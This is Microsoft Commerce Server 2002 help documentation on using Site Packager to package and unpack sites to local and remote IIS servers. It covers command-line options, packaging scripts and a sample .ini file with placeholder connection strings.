    • If you change the XML file, Commerce Server does not preserve the connection string information. The new XML file can contain a different type and number of aggregated data stores than the data stores that are in the default XML file. Therefore, you must re-enter the connection string.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition script that will create the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

    When you unpack a Solution Site, SCHEMAUPM_SQLSource.SQLSource creates the tables for the default profile definitions: Address, BlanketPOs, Organization, Targeting Context, User Object.

    For a sample script, see ProfileSQL.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) If you have extracted the profile data from a Profiles database, you can specify data population scripts so when you unpack, that data is imported into your new Profiles database.

    For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    For information about using scripts with site packager, see Using Scripts with Site Packager.
  16. Click OK.
  17. If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts, and then click OK.
  18. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  19. To close Site Packager, click Finish.

To add resources in the package to an existing site

  1. In the Unpack Method dialog box, select Add resources in the package to an existing site, and then click Next.
  2. In the Select Site dialog box, select the existing site to which you want to add the resource(s), and then click Next.
  3. In the Select Resources dialog box, select the resources you want to add, click Add, and then click Next.

    Note

    • In the Select Resources dialog box, you must install the CS Authentication and Profiles resources together. They do not work unless both are installed.

    The Global Resource Pointers screen appears. You use this screen to map to existing global resources or create new ones. You also use this dialog box when you have already unpacked global resources onto your computer and you now want to unpack global resource pointers in a site that will use those global resources.

  4. In the Global Resource Pointers dialog box, select the existing global resource pointer to which you want to map an existing or new global resource. In the Existing global resources box, select the global resource you want to map to the selected global resource pointer, and then click Next.

    The Database Connection Strings screen appears. In this screen, all connection strings, server names, and databases are listed for the resources that will be installed for your site.

  5. In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them. To change the databases and servers, click Modify. In the Data Link Properties dialog box, select or type the new database(s) and server name(s), click OK, and then click Next.

    The Commerce Server Site Packager dialog box appears if Site Packager needs to create a database(s). The information you provide in this dialog box is used to connect to the Master database on your SQL Server installation.

  6. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    Use Windows Integrated security Select this option if you want to use integrated Windows authentication for the databases.

    This is the recommended configuration.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name | Type the SQL Server login name for the databases.
    SQL Server Login Password | Type the SQL Server login password.
  7. Click OK.
  8. If you added the Data Warehouse resource to the site, the Data Warehouse dialog box appears. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis (OLAP) computer.
    Database | Type the name of the Analysis (OLAP) database to use.
  9. Click OK.
  10. If you added the Profiles resource to the site, the first of two Profiling System dialog boxes appears. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify the settings for the Profiles resource, do the following:

    Use this To do this
    Profile Schema Definition When you pack a site, Site Packager extracts the profile schema from your Profiles database, and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
    Site Terms Definition When you pack a site, Site Packager extracts the site terms definition from your database and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
    Expression Definition When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk, and stores them in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, a default XML file is provided, ExpressionDefinition. This file does not contain any predefined expressions for the Solution Sites.
  11. Click Next.
  12. If you added the Profiles resource to the site, the second of two Profiling System dialog boxes appears. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this To do this
    Profiling System Connection String Accept the default connection string to the Profiles database, or click Modify to configure the connection string.

    Note

    • If you change the XML file, Commerce Server does not preserve the connection string information. The new XML file can contain a different type and number of aggregated data stores than the data stores that are in the default XML file. Therefore, you must re-enter the connection string.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition script that will create the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

    When you unpack a Solution Site, SCHEMAUPM_SQLSource.SQLSource creates the tables for the default profile definitions: Address, BlanketPOs, Organization, Targeting Context, User Object.

    For a sample script, see ProfileSQL.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) If you have extracted the profile data from a Profiles database, you can specify data population scripts so when you unpack, that data is imported into your new Profiles database.

    For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.
  13. Click OK.
  14. If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts, and then click OK.
  15. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  16. To close Site Packager, click Finish.

To add an application in the package to an existing site

  1. In the Unpack Method Dialog box select Add an application to the package to an existing site, and then click Next.
  2. In the Select Site dialog box, select the existing site to which you want to add an application, and then click Next.
  3. In the Select Applications dialog box, select the applications you want to unpack, and then click Next.
  4. In the Select IIS Computers, Web Sites and Paths dialog box, do the following:
    Use this | To do this
    IIS computer name Type the computer name of the IIS Web server to which you want to unpack the application files.

    To update the list of Web sites on the remote computer, click Refresh.
    IIS Web site Select the name of the IIS Web site for the selected applications.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    IIS path | Type the name of the IIS path for the selected applications.

    Notes

    • Site Packager will unpack each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
    • If you want to unpack the application to the root of the Web site, you can use the ‘/’ character or leave the IIS path field blank.
  5. Click Next.
  6. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  7. To close Site Packager, click Finish.

To add a Web server to an existing application in an existing site

  1. In the Unpack Method Dialog box select Add a Web server to an existing application in an existing site, and then click Next.
  2. In the Select Site dialog box, select the existing site to which you want to add a Web server, and then click Next.
  3. In the Select Applications dialog box, select the applications you want to unpack, and then click Next.
  4. In the Select IIS Computers, Web Sites and Paths dialog box, do the following:
    Use this | To do this
    IIS computer name Type the computer name of the IIS Web server to which you want to unpack the application files.

    To update the list of Web sites on the remote computer, click Refresh.
    IIS Web site Select the name of the IIS Web site for the selected applications.

    Note

    If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    IIS path | Type the name of the IIS path for the selected applications.

    Notes

    • Site Packager unpacks each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
    • If you want to unpack the application to the root of the Web site, you can use the ‘/’ character or leave the IIS path field blank.
  5. Click Next.
  6. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  7. To close Site Packager, click Finish.

Notes

  • Immediately after you install your site, and any time you make major configuration changes to your Commerce Server deployment, you may want to back up your Administration database with a different name. You can use this backup to roll back any changes that are made later.
  • If you install Commerce Server databases (other than the Data Warehouse) on a remote computer, it is possible there will be a delay before these databases appear on that computer.
  • After you create an application, an unpack.vbs script may exist in the root folder of the application (if you unpack the Blank site, it will not exist). Make sure you delete or secure the file immediately after unpacking. Anonymous users can access the file. Unauthorized use of this script file could lead to denial of service or the breaking of site settings. For information about securing your site, see Securing Your Site.
  • This file is used when a site is unpackaged using Commerce Server Site Packager.

See Also

Securing Your Site

Packaging a Site

Running Site Packager from the Command Line

Troubleshooting Site Packager


Unpacking a Site to a Remote Web Server

In Commerce Server 2002, you can specify a remote Web server on which you want to install the applications in your package using the Custom Unpack mode of Site Packager. Note the following requirements for unpacking a site or application to a remote Web server:

  • To unpack the Data Warehouse resource, the computer on which you are running Site Packager must have the Analysis Manager component of Analysis Services installed. You do not need to have the Analysis database on the same computer on which you have unpacked the Solution site.
  • The remote Web server must have Commerce Server 2002, Internet Information Services (IIS), and the Analysis database installed.
  • When unpacking the Data Warehouse resource to a remote computer that only has the Analysis Manager component installed (instead of full Analysis Services), create a new registry key called Server Connection Info so that Analysis cubes can be installed. Create this key under HKEY_LOCAL_MACHINE\Software\Microsoft\Olap Server with the following two string values:
    • Locks Directory with the value <analysis server installation drive>:\\\\<root analysis server installation directory>\\bin. For example, <d:\\\\Microsoft Analysis Services\\bin. This value specifies the location where the Analysis Manager components are installed.
    • Remote Locks Directory with the value MsOLAPRepository$.
  • Members of the Administrators group, on the remote computer, must be granted operator privileges for the Web site in which you will unpack your Commerce application. For more information, see the "Assigning Web Site Operators" topic in the IIS online help. Additionally, the local computer, in which you are running Site Packager, must be granted access by IIS on the remote computer. For more information, see the "Granting and Denying Access to Computers" topic in the IIS online help. Site Packager does not check for this condition. If this condition is not met, then the site will not unpack, and an error will not be displayed.
  • The administrator, who is unpacking the site or application, must provide login credentials for a valid Windows account, which is a member of the administrator group on the remote computer. Site Packager does not check for this condition. If this condition is not met, then the site will not unpack, and an error will not be displayed.
  • The administrator group on the remote computer, must grant write access to the local administrator group, to create new folders and files, in which Site Packager writes creates on the remote computer. Site Packager does not check for this condition. If this condition is not met, then the site will not unpack, and an error will not be displayed.
  • The application on the remote computer must be associated with the same administration database as all other applications for this Commerce site. You can also use this feature to add applications to a site, or Web servers to an application on a remote machine.

Use the following procedures if you are unpacking a site to a remote Web server:

  1. Start unpacking a site to a remote Web server
  2. Add the resources you want to unpack to the new site
  3. Select the applications you want to unpack
  4. Specify the settings for the selected resources
  5. Complete the unpacking process

Start unpacking a site to a remote Web server

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Commerce Server Site Packager dialog box, select Unpack from a package file (pup), and then click Next.
  3. In the Unpack dialog box, type the path and file name of the file you want to unpack, or click the Browse button.

    If you clicked the Browse button, in the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.

  4. When the Unpack dialog box reappears, select Custom unpack, and then click Next.

Add the resources you want to unpack to the new site

  1. In the Unpack Method dialog box, select Create a new site, and then click Next.
  2. In the Site Name box, type the name for the site, and then click Next.

    Notes

    • To avoid unpacking errors, do not use special characters in your site name that are not recognized by SQL Server databases. For more information, see SQL Books Online.
    • Do not specify a site name of more than 127 single-byte or double-byte characters.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause the overwriting of your OLAP database the next time you unpack a site.
  3. In the Select Resources dialog box, select the resources you want to add, and then click Next.

    Note

    • In the Select Resources dialog box, you must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
  4. In the Global Resource Pointers dialog box, click Next.

    You use this dialog box to map to existing global resources or to create new ones.

  5. In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them. To change the databases and servers, click Modify, and then type the new database(s) and server name(s).

    Note

    • If you want to copy a database connection string, select the row that contains the connection string you want to copy, and then click Modify. In the Data Link Properties dialog box, select or type the server and database name(s) you want to copy, and then click OK. In the Database Connection Strings dialog box, reselect the row that contains the connection string you want to copy, and then click Copy. Select the row(s) to which you want to copy the connection string, and then click Paste.
  6. Click Next.

    The Commerce Server Site Packager dialog box appears if Site Packager needs to create a database(s). The information you provide in this dialog box is used to connect to the Master database on your SQL Server installation.

  7. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    Use Windows Integrated security Select this option if you want to use integrated Windows authentication for the databases.

    This is the recommended configuration.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site in Commerce Server Help.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name | Type the SQL Server login name for the databases.
    SQL Server Login Password | Type the SQL Server login password.
  8. Click OK.

Select the applications you want to unpack

  1. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next.
  2. In the Select IIS Computers, Web Sites and Paths dialog box, select an application in the Application column, and then do the following:
    Use this | To do this
    IIS computer name Type the computer name of the remote IIS Web server for the selected applications.

    To add the list of Web sites for the computer, click Refresh.
    IIS Web site Select the name of the IIS Web site for the selected applications.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    IIS path | Type the name of the IIS path for the selected applications.

    Notes

    • Each application in the Select IIS Computers, Web Sites and Paths dialog box must be configured separately.
    • Site Packager unpacks each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
  3. Click Next.

    A message appears indicating that you must run the Unpack.bat file for each application that is being unpacked to a remote computer. After unpacking is complete, see the Site packager log file for the specific location of each Unpack.bat file.

Specify the settings for the selected resources

  1. If you added the Data Warehouse resource to the site, the Data Warehouse dialog box appears. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis (OLAP) computer.
    Database | Type the name of the Analysis (OLAP) database to use.
  2. Click OK.

    If you added the Profiles resource to the site, the first of two Profiling System dialog boxes appears.

  3. If you are unpacking a Solution Site, click Next to accept the default entries.
  4. To specify your own profile settings, do the following:
    Use this To do this
    Profile Schema Definition When you pack a site, Site Packager extracts the profile schema from your Profiles database and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
    Site Terms Definition When you pack a site, Site Packager extracts the site terms definition from your database and stores it in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
    Expression Definition When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk and stores them in an XML file. Specify that XML file here so it is unpacked.

    When you unpack a Solution Site, a default XML file, ExpressionDefinition, is provided. This file does not contain any predefined expressions for the Solution Sites.
  5. Click Next.

    If you added the Profiles resource to the site, the second of two Profiling System dialog boxes appears.

  6. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this To do this
    Profiling System Connection String Accept the default connection string to the Profiles database, or click Modify to configure the connection string.

    Note

    • If you change the XML file, Commerce Server does not preserve the connection string information. The new XML file can contain a different type and number of aggregated data stores than the data stores that are in the default XML file. Therefore, you must re-enter the connection string.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition script that will create the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.)

    When you unpack a Solution Site, SCHEMAUPM_SQLSource.SQLSource creates the tables for the default profile definitions: Address, BlanketPOs, Organization, Targeting Context, User Object.

    For a sample script, see ProfileSQL.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) If you have extracted the profile data from a Profiles database, you can specify data population scripts so when you unpack, that data is imported into your new Profiles database.

    For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    For information about using scripts with site packager, see Using Scripts with Site Packager.
  7. Click OK.

Complete the unpacking process

  1. If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and require access permissions on the appropriate Windows accounts, and then click OK.
  2. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.

    Note

    • When unpacking to a remote server, Site Packager logs most of the status information to the Pup.log file on the local computer. However, some status information is also logged in the Pup.log file on the remote computer. You should view both Pup.log files.
  3. In the Unpacking is complete! dialog box, click View Log File, to review the list of events in the Site Packager log file.

    The Site Packager log (Pup.log) file appears.

  4. In the log file, search for the text string "unpack.bat" that is associated with the site you unpacked. After you find “unpack.bat” you will see the following log entry:
    \\<ServerName>\<DriveLetter>$\inetpub\wwwroot\<SiteName>\unpack.bat has been created.
 Execute this batch file to complete the unpacking of the <ApplicationName> application,

    where <ServerName> is the name of the remote Web server, <DriveLetter> is the drive letter of the remote server to which the site was unpacked, <SiteName> is the name of the site that was unpacked to the remote Web server, and <ApplicationName> is the name of the application that was unpacked to the remote Web server.

  5. Execute the Unpack.bat file on the remote Web server to complete the unpacking process.

    Note

    • After you create an application, an unpack.vbs script may exist in the root directory (if you unpack the Blank site, it will not exist). Make sure you delete or secure the file immediately after unpacking. Anonymous users can access the file. Unauthorized use of this script file could lead to denial of service or the breaking of site settings. For information about securing your site, see Securing Your Site.
  6. To close Site Packager, click Finish.


Where Resources and Data Are Unpacked

The following table lists the resources and the data packaged for each resource when you package a site.

Resource | Data packaged
App Default Config | All property values.
Campaigns | The following tables in the Campaigns database: industry_code, customer, event_type, campaign, creative_type, creative_size, creative, creative_property, creative_property_value, campaign_item_types, campaign_item, order_discount, dm_item, ad_item, creative_type_xref, page_group, page_group_xref, target_group, target, target_group_xref, order_discount_expression, order_discount_misc.
CS Authentication | Settings in the file AuthSetup.ini. When unpacking a site, you can create a new resource or point to an existing one.
Commerce Server Data Warehouse | None. When unpacking a site, you can create a new Data Warehouse resource or point to an existing one.
Commerce Server Direct Mailer | None. Confirms the existence of the Direct Mailer resource in the site. The Direct Mailer global resource to use is specified during unpacking. When unpacking a site, you can point to a Direct Mailer resource. You must use Commerce Server Setup to create a new one.
Predictor | None. Confirms the existence of the Predictor resource in the site. The Predictor global resource to use is specified during unpacking. When unpacking a site, you can point to a Predictor resource. You must use Commerce Server Setup to create a new one.
Product Catalog | The following tables in the Catalog database: CatalogAttributes, CatalogDefinitions, CatalogDefinitionProperties, CatalogGlobal, CatalogUsedDefinitions, CatalogEnumValues, CatalogStatus, CatalogCustomCatalogs, CatalogCustomPrices, CatalogSet_Info, CatalogSet_Catalogs, CatalogToVendorAssociation, x_ProductsComplete, x_Relationships, x_Hierarchy.
Profiles | Schema script and data script. Existing databases are not packaged. When unpacking a site, you can create a new resource or point to an existing one.
Transactions | The following tables in the Transactions database: TransDimension, TransCategory.
Transactions Config | The following tables in the Transactions Config database: Decode, Region, RegionalTax, ShippingConfig, TableShippingRates.


Packaging a Site

When you package a site, you save your applications and settings in a single package file. For a list of the IIS properties that are included in the package, see IIS Properties That Are Packaged.

Note

  • To include custom tables and the data they contain in a package file, see Using the GenericPup Object.

To package a site

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Welcome to Commerce Server Site Packager dialog box, select Package an existing site, and then click Next.
  3. In the Package Site dialog box, do the following:
    Use this | To do this
    Site to package | Select the site you want to package from the list of available sites.
    Package file to create Type the name of the package file you want to create, or click Browse.

    If you clicked Browse, in the Save As dialog box, navigate to the folder that contains the package file you want to create, select the file, and then click Save.

  4. When you are returned to the Package Site dialog box, click Next.
  5. If the Profiles resource was added to the site you are packaging, the Profiling System dialog box appears. In the Profiling System dialog box, do the following:
    Use this To do this
    Schema definition scripts To pack the profile definitions, use SQL Server Enterprise Manager to export the definitions (schema) from the SQL database to a .sql file, and then specify the name of that file here.

    When you unpack your site, you will specify this file so the definitions will be unpacked into the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

    For more information, see Packaging Extended Profile Schema.
    Data population scripts To pack the profile data stored in the Profiles database, use Enterprise Manager to export the profile data from the SQL database to a .sql file, and then specify the name of that file here.

    When you unpack your site, you will specify that .sql file to populate your Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

    To view a sample data population script, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    For information about using scripts with site packager, see Using Scripts with Site Packager.
  6. Click OK.
  7. In the Packaging is complete! dialog box, to review the list of events in the Site Packager log file, click View Log File.
  8. To close Site Packager, click Finish.

Notes

  • If you package a Commerce Server application whose IIS virtual directory contains child IIS applications, Site Packager will package the folders and files of the child applications. If you do not want the folders and files of the child applications included in the package, you will have to delete them after you unpack the parent Commerce Server application.
  • Site Packager does not package files in child virtual directories of the IIS application. If you need to package files in child virtual directories, move the folders and files to child physical folders of the root folder of the IIS application before packaging your site.
  • Before you can package a site that has applications (for example, Retail and RetailBusinessDesk) on separate Web servers, you must add one of the Web servers to the other application. For example, if Retail is installed on Computer A and RetailBizDesk is on Computer B, you can run Site Packager on Computer B to add it as a Web server for Retail. Then you can package the site from Computer B. (Conversely, you could add Computer A to RetailBizDesk, and package the site there.) For more information, see Adding a Web Server to an Application.

See Also

IIS Properties That Are Packaged

Unpacking a Site

Running Site Packager from the Command Line

Packaging Other Data


Using Scripts with Site Packager

You can use four types of Microsoft Visual Basic scripts with Commerce Server Site Packager: pre-packaging, post-packaging, application, and schema definition scripts.

This section contains:

  • Pre-packaging Scripts for Site Packager
  • Post-packaging Scripts for Site Packager
  • Application Scripts for Site Packager
  • Packaging Extended Profile Schema

See Also

Running Site Packager from the Command Line


Pre-packaging Scripts for Site Packager

Site Packager runs a pre-packaging script as soon as the package name is known, before the site is unpacked. Pre-packaging scripts must be named Pre<package name>.vbs, for example, PreRetail.vbs.

A pre-packaging script is provided with one parameter, mode (/s:), which indicates whether Site Packager is running in silent mode or normal installation mode. In order for the pre-packaging scripts to run, they must reside in the same folder as the package you are unpacking.


Post-packaging Scripts for Site Packager

Site Packager runs a post-packaging script after all unpacking is complete, but before the Unpacking is complete! dialog box appears. Post-packaging scripts must be named Post<package name>.vbs, for example, PostRetail.vbs. A post-packaging script is provided with two parameters:

  • Site name in quotation marks ("MySite")
  • Mode (/s:) — silent mode or normal installation mode

Post-packaging scripts must reside in the same folder as the package you are unpacking in order for them to run.


Application Scripts for Site Packager

Site Packager can also run application-specific scripts. Application-specific scripts are provided with six parameters:

  • Site name in quotation marks (/n:"MySite")
  • Application name in quotation marks (/r:"MyApp")
  • Server number or the instance number of the IIS Web site that the application was installed to (/i:1)
  • Name of the virtual directory that the application was installed to (/v:"MyRoot")
  • File path in quotation marks where the application files were installed (/d: "C:\inetpub\wwwroot")
  • Mode (/s:) — silent mode or normal installation mode

Application scripts are run for each application after the following events occur:

  • The application has been installed and the files copied.
  • The IIS properties have been set for the application.
  • The application information has been written to the Administration database.
  • Site Packager has notified the Data Warehouse that the application exists.

Note

  • After you create an application, an unpack.vbs script may exist in the root folder of the application (if you unpack the Blank site, it will not exist). Make sure you delete or secure the file immediately after unpacking. Anonymous users can access the file. Unauthorized use of this script file could lead to denial of service or the breaking of site settings. For information about securing your site, see Securing Your Site.


Packaging Extended Profile Schema

If you want to create a package that contains an extended profile schema, you must generate the script before you package your site. The following steps outline how to package an extended profile schema:

  1. Use SQL Server Enterprise Manager to extend the UserObject table, adding your own attributes. For more information, see SQL Books Online.
  2. Add the new data members to the data object. For more information, see Adding a New Data Member in the Profiles Resource.
  3. Use SQL Server Enterprise Manager to generate and export scripts for your extended profile schema. For more information, see SQL Books Online.
  4. When you package your site, Site Packager prompts you to specify the location of the schema definition script you generated. If you do not specify your script, Site Packager will package the default script, which will not include your extended profile schema.

See Also

UserObject Profile Schema

Packaging a Site

IIS Properties That Are Packaged


Running Site Packager from the Command Line

You can run Commerce Server Site Packager from the command line by using the runtime file Pup.exe. Site Packager includes a set of command line options that you use to perform tasks on sites and resources, including packaging, unpacking, and deleting a site or resource. In addition, you can establish unique resource references for custom installation requirements by using Microsoft Visual Basic scripts.

For example, to package a site named BlankSite, you would type the following at the command line:

pup /p  /s:BlankSite /f:C:\Program Files\Microsoft Commerce Server 2002\PuP Packages\XBlank.pup
 /i:C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\SiteCreate\packBlank.ini

Note

  • When you type the commands to package a site, you must separate the parameters with a blank space. You must also specify the full path and file name of the response file (in the previous example, the response file is packBlank.ini).
  • When run from the command line, Site Packager will still display the Profiling System dialog box.

The following table lists the command line options you can use with the Pup.exe file.

Option | Packaging | Unpacking | Description
/s: | X |  | Specifies the name of the site to package. /s:<name of site>
/f: | X | X | Specifies the path to the package file. /f:<full path to package>
/r | X | X | Displays the Select Resource dialog box.
/i: | X | X | Specifies the .ini file to use during silent operation. /i:<complete path name>
/p | X |  | Packages a site or resource.
/u |  | X | Unpacks a site or resource.
/a: | X | X | Specifies the name of the application. /a:<application name>
/w: |  | X | Specifies the name of the Web server. /w:<Web server name> Use this option to unpack the local computer as a Web server.

For example, to unpack a site named Retail, you would use the following command:

"C:\Program Files\Microsoft Commerce Server 2002\PuP.exe" /u
/f:C:\Program Files\Microsoft Commerce Server 2002\PuP Packages\Retail.pup
/i:C:\Commerce\Retail.ini

See Also

Customizing the Site Packager .ini Files


Customizing the Site Packager .ini Files

Commerce Server includes the PackBlank.ini file with the BlankSite package. Separate .ini files are provided for the Retail and Supplier Solution Sites, available at http://go.microsoft.com/fwlink/?linkid=6491. You can use these .ini files as templates for creating custom .ini files for your own packages. These .ini files are useful for doing automated builds of your packages, for example, in a production environment in which you want to build at night, and then install in the morning.

You can use the same .ini file for both packaging and unpacking. During the packaging or unpacking process, the sections that are irrelevant to the task are ignored.

You run .ini files from the command line. For instructions and a sample command, see Running Site Packager from the Command Line.

The following is the content of the PackBlank.ini file, including comments about each section. An asterisk (*) indicates comments:

[General]

  • SiteName=BlankSite
  • Description=Blank site
  • NumOfResources= 12
  • NumOfApplications= 2
    Note
    • When a Commerce Server site is unpacked, it typically installs two applications: one for the Web site that users access, and one for Commerce Server Business Desk.

The following is a list of the resources to be installed. If you do not want to install a given resource, delete the resource line from the .ini file, and then renumber the resources. The order in which the resources are unpacked does not affect the unpacking process. However, all of the resources are unpacked before any applications are unpacked.

When packaging a site, the list of resources in the .ini file is not read. Instead the entire site is packaged.

  • Resource0=App Default Config
  • Resource1=Product Catalog
  • Resource2=Campaigns
  • Resource3=Site Data Warehouse
  • Resource4=Transactions
  • Resource5=Transaction Config
  • Resource6=Direct Mail
  • Resource7=Predictor
  • Resource8=BizData Service
  • Resource9=Global Data Warehouse
  • Resource10=Site CS Authentication
  • Resource11=BDSecurity
  • Application0=BlankSite
  • Application1=BlankBizDesk
  • NumOfConnStrs= 7

Important

  • An application name must match the name of the packaged application. For example, if the package was created with the application name BlankSite, the application name must be BlankSite. If you change the name of the application, you must also change the VRoot.
  • The App Default Config and BDSecurity resources are the minimum requirements for unpacking. The BDSecurity resource is not required if you customize your own Business Desk (remove any dependencies on the BDSecurity component).

[ConnStrs]

Following are the connection strings for each resource. The connection strings take the following parameters:

ConnStrResourceName

The name of the resource.

ConnStrValue

The connection string value.

ConnStrPropertyName

The property name for the connection string.

The following is a sample of the [ConnStrs] section:

Note

  • It is recommended that you use Windows integrated security. To use integrated security, in the connection string value (ConnStrValue) for each resource replace the parameters ‘User ID=;Password=;’ with ‘Integrated Security=SSPI’. For more information about Windows integrated security, see Using Windows Authentication.
ConnStrResourceName0=Product Catalog
ConnStrPropertyName0=connstr_db_Catalog
ConnStrValue0=Provider=SQLOLEDB;Persist Security Info=False;Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;ConnStrResourceName1=Campaigns
ConnStrPropertyName1=connstr_db_Campaigns
ConnStrValue1=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName2=Transactions
ConnStrPropertyName2=connstr_db_Transactions
ConnStrValue2=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName3=TransactionConfig
ConnStrPropertyName3=connstr_db_TransactionConfig
ConnStrValue3=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName4=Biz Data Service
ConnStrPropertyName4=connstr_db_bds
ConnStrValue4=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;
ConnStrResourceName5=Global Data Warehouse
ConnStrPropertyName5=connstr_db_dw
ConnStrValue5=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_dw;Data Source=SERVERNAME;
ConnStrResourceName6=BDSecurity
ConnStrPropertyName6=connstr_db_bdsecurity
ConnStrValue6=Provider=SQLOLEDB;Persist Security Info=False; Integrated Security='SSPI';Initial Catalog=BlankSite_commerce;Data Source=SERVERNAME;

[Direct Mail]

Use GlobalResourceName to assign the global resource to a global resource name that already exists on the computer.

Notes

  • You cannot use Add New Global Resource with Direct Mail. You must specify an existing resource that already exists on the computer.
  • The string is localized; therefore, it must match the resource name listed in Commerce Server Manager. If the string does not match, Site Packager cannot locate it.
GlobalResourceName=Direct Mail on SERVERNAME

[Predictor]

Notes

  • You cannot use Add New Global Resource with Predictor. You must specify an existing resource that already exists on the computer.
  • The string is localized; therefore, it must match the resource name listed in Commerce Server Manager. If the string does not match, Site Packager cannot locate it.
GlobalResourceName=Predictor on SERVERNAME

[BlankSite]

ASPDir=
VRoot=
Website=
Machine=

Notes

  • Website= is the only required property.
  • The Website property is localized; therefore, it must match the Website name in the MMC snap-in of Internet Information Services (IIS). If the property does not match, Site Packager cannot locate it.
